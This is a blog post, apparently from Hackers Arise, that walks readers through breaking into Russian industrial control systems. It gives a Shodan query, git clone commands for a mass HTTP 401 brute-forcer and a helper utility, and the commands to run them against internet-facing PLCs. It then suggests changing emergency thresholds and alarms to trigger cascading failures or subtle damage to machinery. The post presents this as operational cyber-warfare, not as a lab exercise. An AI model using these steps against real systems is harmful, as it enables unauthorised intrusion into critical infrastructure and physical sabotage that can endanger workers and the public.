Welcome back, aspiring cyberwarriors. In today’s article we will explore Russian industrial control system (ICS), revealing vulnerabilities waiting to be exploited. These systems are critical, yet security often remains an afterthought. Even Russia, which has spent years aggressively hardening its cybersecurity in preparation for its invasion of Ukraine, continues to suffers from vulnerabilities and basic […]

The post SCADA/ICS Security in Cyber Warfare: Exposing Vulnerabilities in Russian ICS Infrastructure first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors.

In today’s article we will explore Russian industrial control system (ICS), revealing vulnerabilities waiting to be exploited. These systems are critical, yet security often remains an afterthought. Even Russia, which has spent years aggressively hardening its cybersecurity in preparation for its invasion of Ukraine, continues to suffers from vulnerabilities and basic negligence by security engineers and administrators.

A Brief Overview of SCADA and PLCs

SCADA systems (Supervisory Control and Data Acquisition) are a type of ICS designed for supervising and controlling industrial operations over long distances. Because they rely on networks to connect remote equipment, SCADA systems are more vulnerable to cyberattacks than centralized ICS. At the core of SCADA operations are specialized computers called PLCs (Programmable Logic Controllers). These devices directly manage machinery and processes by collecting data from sensors (such as pressure, temperature, or voltage sensors) and then executing actions based on their programming, such as closing a valve, triggering cooling systems, or initiating an emergency shutdown. Which means, once a PLC is compromised it can damage physical equipment.

In this article, in cooperation with a student from the Cyber Cossacks School – Citadel, we will demonstrate how relatively easy it is to access Russian PLCs.

Step #1: Find Systems With 401 Response

To search, let’s use the well-known Shodan: country:ru ‘401’

Over 144,000 results!

We need to copy ports along with their quantity to the file, for example unfiltered.txt

Step #2: Filter The Ports

First, we need to download mass 401 brute forcer called bonappeti.

kali> git clone https://github.com/spectrumlight/bonappeti.git

kali> cd bonappeti

Here, you will find the filter.py script, which is used to filter ports. Use it by providing your file with ports from Shodan as input.

kali> python3 filter.py unfiltered.txt

As a result, we got a file with a list of ports.

Step #3: Start Brute Forcing

The bonappeti repository has a bruteforce.py file that uses the shef utility to perform IP address parsing from Shodan. Let’s install it:

kali> git clone https://github.com/1hehaq/shef.git && cd shef && chmod +x shef.sh && sudo mv shef.sh /bin/shef && cd .. && rm -rf shef

If you open the brute force script, you can see that it searches for Russian IP addresses by default.

In the httpbrute directory, you can find files with logins and passwords.

Next, we’re ready to start the brute force.

kali> python3 bruteforce.py

Successful attempts will be output in success.txt. To filter false positives use:

kali> cat success.txt | grep -v false

As a result, the following PLC was found with the default password.

Once you have access you can change the emergency temperature thresholds, alarms, sensor settings, and ultimately push machinery into unstable operating states. From this point, two strategies emerge: initiate a cascading failure or engineer gradual, subtle damage.

Summary

While technological solutions are important, the most critical defense lies in changing the mindset and practices of those responsible for maintaining these critical infrastructure systems. However, if the Russians don’t change anything by themselves, we won’t insist.

The post SCADA/ICS Security in Cyber Warfare: Exposing Vulnerabilities in Russian ICS Infrastructure first appeared on Hackers Arise.

Source: HackersArise
Source Link: https://hackers-arise.com/scada-ics-security-in-cyber-warfare-exposing-vulnerabilities-in-russian-ics-infrastructure/